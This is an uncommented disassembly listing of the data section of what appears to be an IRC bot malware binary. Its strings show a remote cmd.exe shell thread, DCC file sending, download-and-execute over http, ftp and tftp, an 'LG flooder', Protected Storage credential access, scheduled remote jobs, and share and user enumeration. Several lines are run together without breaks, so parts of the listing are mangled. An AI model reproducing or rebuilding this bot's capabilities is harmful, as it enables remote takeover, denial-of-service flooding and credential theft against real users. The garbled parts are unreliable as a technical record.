dword_417234	dd 80000070h						; sub_403588+4Ar ...
dword_417238	dd 80000009h						; sub_403588+1FEr ...
dword_41723C	dd 80000034h						; sub_4055E5+F3r ...
dword_417240	dd 80000006h						; sub_40449C+21r ...
dword_417244	dd 8000000Bh						; sub_4055E5+DDr ...
dword_417248	dd 80000010h						; sub_4053DC+27r ...
dword_41724C	dd 80000008h						; sub_4020C2+201r
dword_417250	dd 80000014h						; sub_411DC5+372r ...
dword_417254	dd 80000074h						; sub_407148+183r ...
dword_417258	dd 80000011h	dword_41725C	dd 17882h	dword_417260	dd 80000039h	dword_417264	dd 80000073h	dword_417268	dd 8000000Dh			align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; .packed:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: .packed:off_41DEC0o
					; .packed:off_41DEE0o
off_4172C0	dd offset off_41DEC0	; DATA XREF: .packed:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)			dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)			dd offset off_41DEC0
		dd offset dword_4172DC+4
		align 8
off_417308	dd offset off_41DEE0	; DATA XREF: .packed:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: .packed:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)			dd offset off_41DEE0
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0)		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DEC0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h	dword_4173B8	dd 0				dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 1757Ch, 2 dup(0)
		dd 17876h, 17114h, 1765Ch, 2 dup(0)
		dd 1788Eh, 171F4h, 17498h, 2 dup(0)
		dd 17C70h, 17030h, 17640h, 2 dup(0)
		dd 17CE6h, 171D8h, 17468h, 2 dup(0)
		dd 17DBAh, 17000h, 17638h, 2 dup(0)
		dd 17DD8h, 171D0h, 17630h, 2 dup(0)
		dd 17E3Eh, 171C8h, 5 dup(0)
		dd 17D12h, 17D00h, 17D22h, 17D32h, 17D46h, 17D58h, 17D6Ah
		dd 17D7Ah, 17D90h, 17DA2h, 17CF2h, 0
		dd 17AB6h, 17AA4h, 17A8Ch, 17A80h, 17A68h, 17A5Ah, 17A4Ch
		dd 17A3Eh, 17A28h, 17A18h, 17A06h, 179F8h, 179ECh, 179DCh
		dd 179D0h, 179C2h, 179B4h, 179A0h, 17AC6h, 1797Ch, 1796Ch
		dd 17956h, 1794Ah, 17920h, 1790Ah, 178FCh, 178E8h, 178E0h
		dd 178CCh, 178BEh, 178A8h, 1789Ah, 17E32h, 17BCAh, 17BDAh
		dd 17BECh, 17BFCh, 17ADAh, 17AF0h, 17B06h, 17B16h, 17B26h
		dd 17B42h, 17B5Ch, 17B6Ch, 17B7Eh, 17934h, 17B9Ah, 1798Eh
		dd 17C60h, 17C50h, 17C44h, 17C38h, 17C1Eh, 17C12h, 17BB2h
		dd 0
		dd 17DF0h, 17DF8h, 17E04h, 17E1Ah, 17862h, 17858h, 176D8h
		dd 17850h, 17848h, 1783Ah, 17830h, 17826h, 1781Ch, 17812h
		dd 17802h, 177F2h, 177E6h, 177D4h, 177C0h, 177B8h, 177B0h
		dd 177A8h, 1779Eh, 17794h, 17788h, 1777Eh, 17774h, 1776Ch
		dd 17764h, 1775Ch, 17754h, 1774Ah, 17740h, 17738h, 1772Eh
		dd 17724h, 1771Ch, 17712h, 17708h, 176FEh, 176F6h, 176ECh
		dd 176E2h, 17DE4h, 0
		dd 800000C8h, 0
		dd 17DC8h, 0
		dd 17C9Ch, 17CD0h, 17C7Eh, 17C8Ah, 17CB2h, 17CC0h, 0
		dd 80000004h, 80000097h, 80000001h, 80000016h, 80000015h
		dd 80000002h, 80000013h, 80000005h, 8000000Ah, 80000017h
		dd 8000000Ch, 80000033h, 8000006Fh, 80000038h, 80000012h
		dd 80000003h, 80000070h, 80000009h, 80000034h, 80000006h
		dd 8000000Bh, 80000010h, 80000008h, 80000014h, 80000074h
		dd 80000011h, 17882h, 80000039h, 80000073h, 8000000Dh
		dd 0
		dd 747302BAh, 79706372h, 2BE0000h, 6C727473h, 6E65h, 616D0291h
		dd 636F6C6Ch, 25E0000h,	65657266h, 2970000h, 636D656Dh
		dd 7970h, 747302C1h, 70636E72h,	2B20079h, 69727073h, 66746Eh
		dd 6C630243h, 6B636Fh, 656D0299h, 7465736Dh, 2B60000h
		dd 63727473h, 7461h, 74660264h,	6C6C65h, 77660266h, 65746972h
		dd 24C0000h, 6F6C6366h,	6573h, 6F660257h, 6E6570h, 7266025Dh
		dd 646165h, 73660262h, 6B6565h,	7461023Dh, 696Fh, 737302B5h
		dd 666E6163h, 2C50000h,	73727473h, 7274h, 735F01AEh, 6972706Eh
		dd 66746Eh, 747302C0h, 6D636E72h, 2A70070h, 6C616572h
		dd 636F6Ch, 78650249h, 7469h, 665F00F1h, 6C6F74h, 65630241h
		dd 6C69h, 655F00CAh, 70656378h,	61685F74h, 656C646Eh, 3372h
		dd 625F00A6h, 6E696765h, 65726874h, 78656461h, 2DC0000h
		dd 72707376h, 66746E69h, 100000h, 40333F3Fh, 50584159h
		dd 5A405841h, 0F0000h, 40323F3Fh, 41504159h, 5A404958h
		dd 29E0000h, 6E697270h,	6674h, 747302B8h, 706D6372h, 2D30000h
		dd 6F6C6F74h, 726577h, 656D0296h, 706D636Dh, 1E10000h
		dd 6E73765Fh, 6E697270h, 6674h,	725F019Bh, 6C746Fh, 725F019Ch
		dd 72746Fh, 656D0298h, 766F6D6Dh, 490065h
a__cxxframehand	db '__CxxFrameHandler',0
aMsvcrt_dll	db 'MSVCRT.dll',0
		align 2
		db '(',0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 2
		db '|',0
aDeletefilea	db 'DeleteFileA',0
		db  0Eh
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
a_		db '.',0
aClosehandle	db 'CloseHandle',0
		db  51h	; Q
		db 3, 54h, 65h
aRminateprocess	db 'rminateProcess',0
		align 10h
		db  49h	; I
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db 0AEh	; ®
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 704F027Ch, 72506E65h, 7365636Fh, 1750073h
aGetmodulefil_0	db 'GetModuleFileNameA',0
		align 10h
		db  77h	; w
		db 1, 47h, 65h
aTmodulehandlea	db 'tModuleHandleA',0
		align 4
		db  3Bh	; ;
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 2ABh
aReadfile	db 'ReadFile',0
		align 2
		dw 152h
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db  87h	; ‡
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db '`',0
aCreateprocessa	db 'CreateProcessA',0
		align 2
aM		db 'Œ',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  3Ah	; :
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcess',0
a__0		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 2D0h
aSearchpatha	db 'SearchPathA',0
		db  97h	; —
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  69h	; i
		db 1, 47h, 65h
aTlasterror	db 'tLastError',0
		align 4
		db '=',0
aCopyfilea	db 'CopyFileA',0
aP		db '¯',0
aExitprocess	db 'ExitProcess',0
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  48h	; H
		db 2, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 314h
aSetfiletime	db 'SetFileTime',0
		db  5Dh	; ]
		db 1, 47h, 65h
aTfiletime	db 'tFileTime',0
aM_0		db 'M',0
aCreatefilea	db 'CreateFileA',0
		db 0E9h	; é
		db 1, 47h, 65h
aTwindowsdirect	db 'tWindowsDirectoryA',0
		align 10h
		db 0BFh	; ¿
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db 0FFh
		db 2, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		align 4
		dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h
		dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h
		dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		db  46h	; F
		db 1, 47h, 65h
aTdiskfreespace	db 'tDiskFreeSpaceExA',0
		dw 14Bh
aGetdrivetypea	db 'GetDriveTypeA',0
		dw 1D5h
aGettickcount	db 'GetTickCount',0
		align 2
		dw 29Ah
aQueryperforman	db 'QueryPerformanceFrequency',0
		dw 299h
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h
		dd 54657461h, 61657268h, 2190064h
aInitializecr_0	db 'InitializeCriticalSection',0
aP_0		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 247h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aI		db 'i',0
aCreatethread	db 'CreateThread',0
		align 2
		dw 365h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  5Eh	; ^
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aN		db 'N',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 3B3h
aLstrcmpa	db 'lstrcmpA',0
		align 2
		dw 150h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db 0BCh	; ¼
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0B9h	; ¹
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
aZ		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 10h
		db  0Ah
		db 3, 53h, 65h
aTerrormode	db 'tErrorMode',0
		align 10h
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
		dw 2D5h
aWsprintfa	db 'wsprintfA',0
		dw 177h
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		db  17h
		db 1, 47h, 65h
aTforegroundwin	db 'tForegroundWindow',0
aU_0		db 'ã',0
aFindwindowa	db 'FindWindowA',0
		db  3Ah	; :
		db 2, 53h, 65h
aNdmessagea	db 'ndMessageA',0
		align 10h
		db  97h	; —
		db 1, 49h, 73h
aCharalphanumer	db 'CharAlphaNumericA',0
aUser32_dll	db 'USER32.dll',0
		align 2
		dw 1C9h
aRegclosekey	db 'RegCloseKey',0
		dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1D90041h
		dd 45676552h, 566D756Eh, 65756C61h, 1E20041h, 4F676552h
		dd 4B6E6570h, 78457965h, 1EC0041h, 51676552h, 79726575h
		dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h
		dd 4565756Ch, 4178h, 655201CDh,	65724367h, 4B657461h, 78457965h
		dd 1230041h, 55746547h,	4E726573h, 41656D61h, 0A00000h
aCryptreleaseco	db 'CryptReleaseContext',0
aC		db '–',0
aCryptgenrandom	db 'CryptGenRandom',0
		align 2
aE		db '…',0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		db    7
		db 1, 53h, 68h
aEllexecutea	db 'ellExecuteA',0
aShell32_dll	db 'SHELL32.dll',0
		db 0BDh	; ½
		db 1, 5Fh, 73h
aTrcmpi		db 'trcmpi',0
		align 10h
		db  34h	; 4
		db 1, 5Fh, 69h
		db  74h	; t
		db 6Fh,	61h, 0
		db 0C5h	; Å
		db 1, 5Fh, 73h
aTrnicmp	db 'trnicmp',0
aA_0		db 'A',0
a_cxxthrowexcep	db '_CxxThrowException',0
		align 2
		dw 0Eh
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 2
		dw 252h
aLocalfree	db 'LocalFree',0
aOleaut32_dll	db 'OLEAUT32.dll',0
		align 4
		dd 6Dh dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0C5BCA58Ch, 0E1CEC1C6h, 0AB9AFEA0h, 0EF83EDA3h, 0FE9D88B1h
					; DATA XREF: .packed:0041800Co
		dd 0D6F7DFEFh, 0A087CF89h, 0ECAFEBB9h, 0F09CB083h, 2 dup(0)
dword_418040	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0DEB388B9h
					; DATA XREF: .packed:00418008o
		dd 0C9CFh, 0
dword_41805C	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: .packed:00418004o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0F2A5CAA3h, 0F48C95A9h, 0F0h, 0
dword_418098	dd 0E589938Ch, 0C7E0EDF4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h
					; DATA XREF: .packed:off_418000o
		dd 0CDF6E2EAh, 8DB4FFA2h, 0E5B2EBB8h, 0F4B988B1h, 0CDFBFFF1h
		dd 0BBBAD0BBh, 0A3h, 0
dword_4180CC	dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h
					; DATA XREF: sub_401244+52Do
		dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h
		dd 2E0203h
dword_4180F8	dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h
					; DATA XREF: sub_401244+50Ao
		dd 6E697274h, 30032067h, 73250234h, 2E0203h
dword_41811C	dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h
					; DATA XREF: sub_401244+412o
		dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h
dword_418144	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 6220676Eh
					; DATA XREF: sub_401244+45o
		dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h
		dd 2037325h, 3Ah
dword_418174	dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h
					; DATA XREF: sub_4017AA+93o
		dd 2343003h, 2037325h, 0
aKilling	db 'Killing',0          ; DATA XREF: sub_4017AA:loc_401830o
aListing	db 'Listing',0          ; DATA XREF: sub_4017AA+7Do
dword_4181A4	dd 303h		aCmd_exeProcess	db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401981+2C9o
aCouldNotReadDa	db 'Could not read data from process.',0 ; DATA XREF: sub_401981+27Eo
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_401981+48o
aErrorWhileExec	db 'Error while executing command.',0 ; DATA XREF: sub_401D6E+B9o
		align 4
asc_418214	db 0Dh,0Ah,0		; DATA XREF: sub_401D6E:loc_401E0Bo
					; sub_403DF3+18Co ...
		align 4
aRemoteCmdThrea	db 'Remote cmd thread',0 ; DATA XREF: sub_401D6E+7Eo
		align 4
aOpen		db 'open',0             ; DATA XREF: sub_401D6E+26o
					; sub_402A32+794o ...
		align 4
dword_418234	dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h
					; DATA XREF: sub_401E38+248o
		dd 3206D6Fh, 25023430h,	20020373h, 3206E69h, 25023430h
		dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h
		dd 66332E30h, 424B0203h, 6365732Fh, 0
dword_418280	dd 3430032Dh, 3752502h,	52202D02h, 69656365h, 676E6976h
					; DATA XREF: sub_401E38+CCo
		dd 34300320h, 3732502h,	72662002h, 3206D6Fh, 25023430h
		dd 20373h
dword_4182AC	dd 6277h						; sub_402698:loc_40288Eo ...
dword_4182B0	dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h
					; DATA XREF: sub_4020C2+3E1o
		dd 3732502h, 6E692002h,	34300320h, 2E302502h, 2036632h
		dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h
		dd 732F424Bh, 6365h
dword_4182F4	dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h
					; DATA XREF: sub_4020C2+313o
		dd 206F7420h, 2343003h,	2037325h, 6E616320h, 6C6C6563h
		dd 6465h
dword_418320	dd 3430032Dh, 3752502h,	53202D02h, 69646E65h, 320676Eh
					; DATA XREF: sub_4020C2+28Eo
		dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h
dword_418348	dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h
					; DATA XREF: sub_4020C2+20Fo
		dd 1642520h, 0
aDccSendSS	db 'DCC Send %s (%s)',0 ; DATA XREF: sub_4020C2+1D2o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4020C2:loc_40220Fo
					; sub_406AE7+63o ...
		align 4
dword_41837C	dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h
					; DATA XREF: sub_4024F3+101o
		dd 206D6F72h, 2343003h,	2037325h, 0
dword_4183A0	dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h
					; DATA XREF: sub_40260D+72o
		dd 2343003h, 2037325h, 0
aContentLengthU	db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402698+155o
		align 4
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_402698+104o
		align 4
asc_4183EC	db 0Dh,0Ah		; DATA XREF: sub_402698:loc_402758o
		db 0Dh,0Ah,0
		align 4
aGetSHttp1_0Hos	db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402698+3Ao
					; sub_4088FC+E9o
		db 'Host: %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_418414	dd 3430032Dh, 3752502h,	45202D02h, 726F7272h, 69687720h
					; DATA XREF: sub_402A32+7F6o
		dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h
		dd 2E020373h, 0
dword_418444	dd 3430032Dh, 3752502h,	55202D02h, 6C62616Eh, 6F742065h
					; DATA XREF: sub_402A32+7D1o
		dd 61747320h, 3207472h,	25023430h, 2E020373h, 0
dword_41846C	dd 3430032Dh, 3752502h,	53202D02h, 65636375h, 75667373h
					; DATA XREF: sub_402A32+738o
		dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h
		dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h
		dd 732F424Bh, 73256365h, 2Eh
dword_4184B4	dd 7865202Ch, 74756365h, 676E69hdword_4184C0	dd 7075202Ch, 69746164h, 676Ehunk_4184CC	db  2Dh	; -		; DATA XREF: sub_402A32+50Eo
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aNoFileToDownlo	db '- No file to download specified.',0
		align 4
asc_4184F8:				; DATA XREF: sub_402A32:loc_402F16o
		unicode	0, </>,0
asc_4184FC:				; DATA XREF: sub_402A32+45Fo
					; sub_414EF4+644o ...
		unicode	0, <:>,0
unk_418500	db  2Dh	; -		; DATA XREF: sub_402A32+3E4o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aUnsupportedPro	db '- Unsupported protocol specified.',0
		align 4
a69		db '69',0               ; DATA XREF: sub_402A32+3A8o
		align 10h
aTftp		db 'tftp://',0          ; DATA XREF: sub_402A32+387o
aAnonymous	db 'anonymous',0        ; DATA XREF: sub_402A32+35Ao
					; sub_402A32+36Do
		align 4
a21		db '21',0               ; DATA XREF: sub_402A32+328o
		align 4
aFtp		db 'ftp://',0           ; DATA XREF: sub_402A32+307o
		align 10h
a80		db '80',0               ; DATA XREF: sub_402A32+2CEo
					; sub_4043E9+27o ...
		align 4
aHttp		db 'http://',0          ; DATA XREF: sub_402A32+2ADo
dword_41855C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 65722074h
					; DATA XREF: sub_402A32+135o
		dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h
		dd 2E020373h, 0
dword_41858C	dd 3430032Dh, 3752502h,	43202D02h, 6F6E6E61h, 72772074h
					; DATA XREF: sub_402A32+110o
		dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh
		dd 20656C69h, 2343003h,	2037325h, 2Eh
dword_4185C4	dd 656C6966h, 2F2F3Ahdword_4185CC	dd 3430032Dh, 3752502h,	44202D02h, 6C6E776Fh, 6964616Fh
					; DATA XREF: sub_402A32+AAo
		dd 320676Eh, 25023430h,	20020373h, 3206F74h, 25023430h
		dd 2E020373h, 0
dword_4185FC	dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h
					; DATA XREF: sub_403260+B2o
		dd 206F7420h, 2343003h,	2037325h, 0
dword_418620	dd 6578652Eh, 0						; sub_412720+51o
aQuitRestarting	db 'QUIT :restarting',0 ; DATA XREF: sub_40332B:loc_403538o
					; sub_40332B:loc_403545o ...
		align 4
aQuitExitting	db 'QUIT :exitting',0   ; DATA XREF: sub_40332B+200o
					; sub_40A9CF:loc_40BD52o
		align 4
dword_41864C	dd 3430032Dh, 62656402h, 2036775haModuleSReporte	db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC'
		db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA'
		db 'GS=%08X. Code: %08X (%s). %s...',0
		align 4
aContinuing	db 'Continuing',0       ; DATA XREF: sub_40332B:loc_40342Ao
		align 4
aRestarting	db 'Restarting',0       ; DATA XREF: sub_40332B+F3o
		align 4
aException_flt	db 'EXCEPTION_FLT',0    ; DATA XREF: sub_40332B:loc_40340Co
		align 4
aException_stac	db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40332B:loc_403403o
		align 10h
aException_nonc	db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0
					; DATA XREF: sub_40332B:loc_4033FAo
		align 4
aException_int_	db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40332B:loc_4033F1o
		align 4
aException_ille	db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40332B:loc_4033E8o
		align 4
aException_brea	db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40332B:loc_4033DFo
		align 4
aException_acce	db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40332B:loc_4033D6o
		align 4
aException_othe	db 'EXCEPTION_OTHER',0  ; DATA XREF: sub_40332B+27o
aUdp		db 'udp',0              ; DATA XREF: sub_4038BA+27Co
aInternetgetcon	db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_403BD3+20Bo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_403BD3:loc_403DCAo
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_403BD3+1E4o
		align 10h
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_403BD3:loc_403DA3o
aFreeaddrinfo	db 'freeaddrinfo',0     ; DATA XREF: sub_403BD3+184o
		align 4
aGetnameinfo	db 'getnameinfo',0      ; DATA XREF: sub_403BD3+171o
aGetaddrinfo	db 'getaddrinfo',0      ; DATA XREF: sub_403BD3+15Eo
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_403BD3:loc_403D23o
		align 10h
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_403BD3+13Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_403BD3+12Ao
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_403BD3+117o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_403BD3+104o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_403BD3:loc_403CC3o
aNetaddalternat	db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_403BD3+DDo
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_403BD3+CAo
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_403BD3+B7o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_403BD3+A4o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_403BD3+91o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_403BD3+7Eo
aNetusedel	db 'NetUseDel',0        ; DATA XREF: sub_403BD3+6Bo
		align 4
aNetuseadd	db 'NetUseAdd',0        ; DATA XREF: sub_403BD3+58o
		align 4
aNetusegetinfo	db 'NetUseGetInfo',0    ; DATA XREF: sub_403BD3+45o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_403BD3:loc_403C00o
		align 4
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_403BD3+1Ao
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_403BD3+6o
		align 10h
aUseridUnix	db ' : USERID : UNIX : ',0 ; DATA XREF: sub_403DF3:loc_403F57o
dword_4189C4	dd 3430032Dh, 3752502h,	52202D02h, 696E6E75h, 6920676Eh
					; DATA XREF: sub_403DF3+6Eo
		dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h
		dd 34300320h, 3732502h,	2
dword_4189F8	dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h
					; DATA XREF: sub_403FE5+7Eo
		dd 30032074h, 73250234h, 203h
dword_418A18	dd 333131h	dword_418A1C	dd 0BF988BA8h, 0CCFDEEB5h, 0AB86A2B0h, 0B9h, 0dword_418A30	dd 2E3031h	dword_418A34	dd 2E323931h, 2E383631h, 0dword_418A40	dd 2E323731h, 0	dword_418A48	dd 2E373231h, 0	dword_418A50	dd 252E7525h, 75252E75h, 75252Eh					; sub_41113B+45Ao
dword_418A5C	dd 313A3Ah	dword_418A60	dd 7525h						; sub_4055E5+69Eo ...
dword_418A64	dd 252E7525h, 75252E75h, 3A75252Eh, 7525h					; sub_4055E5+40Bo ...
aU_U_U_UU	db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_4055E5+2A3o
					; sub_4055E5+3AFo ...
		align 4
aU		db '%u',0Dh,0Ah,0       ; DATA XREF: sub_4055E5+229o
					; sub_4055E5+351o ...
		align 10h
aLgFlooder	db 'LG flooder',0       ; DATA XREF: sub_405E45+109o
		align 4
aGetmoduleinfor	db 'GetModuleInformation',0 ; DATA XREF: sub_405FA3+5Eo
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_405FA3+4Bo
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_405FA3+38o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_405FA3:loc_405FC8o
		align 10h
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_405FA3+Fo
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_406041+136o
					; .packed:0041BBD0o ...
		align 4
dword_418B04	dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h
					; DATA XREF: sub_40637C+FEo
		dd 732520h
dword_418B1C	dd 3430032Dh, 3752502h,	4C202D02h, 69747369h, 320676Eh
					; DATA XREF: sub_40637C+51o
		dd 25023430h, 2032569h,	6F727020h, 73736563h, 3A7365h
dword_418B44	dd 7473694Ch, 6F727020h, 73736563h, 7365hdword_418B54	dd 58323025h, 0						; sub_4147E5+11o ...
dword_418B5C	dd 58383025h, 0						; sub_40A9CF+1C12o
dword_418B64	dd 7325h						; sub_406722+296o ...
aHkus		db 'HKUS',0             ; DATA XREF: sub_406722+8Do
		align 10h
aHklm		db 'HKLM',0             ; DATA XREF: sub_406722+6Bo
		align 4
aHkcu		db 'HKCU',0             ; DATA XREF: sub_406722+49o
		align 10h
aHkcr		db 'HKCR',0             ; DATA XREF: sub_406722+27o
		align 4
off_418B88	dd offset dword_418DD0	; DATA XREF: sub_406E8E+4Br
					; sub_406E8E+8Dr ...
off_418B8C	dd offset dword_418DA8	; DATA XREF: sub_406E8E+106r
					; sub_406E8E+12Ar ...
		dd offset dword_418D98
		dd offset dword_418DA8
		dd offset loc_418D88
		dd offset dword_418D64
		dd offset dword_418D54
		dd offset dword_418D34
		dd offset loc_418D20
		dd offset dword_418D34
		dd offset dword_418D0C
		dd offset dword_418CF4
		dd offset dword_418CE4
		dd offset dword_418CD0
		dd offset dword_418CBC
		dd offset dword_418C9C
		dd offset dword_418C88
		dd offset dword_418C6C
		dd offset dword_418C5C
		dd offset dword_418C6C
		dd offset loc_418C4C
		dd offset dword_418C24
		dd offset dword_418C10
		dd offset dword_418BF0
		align 10h
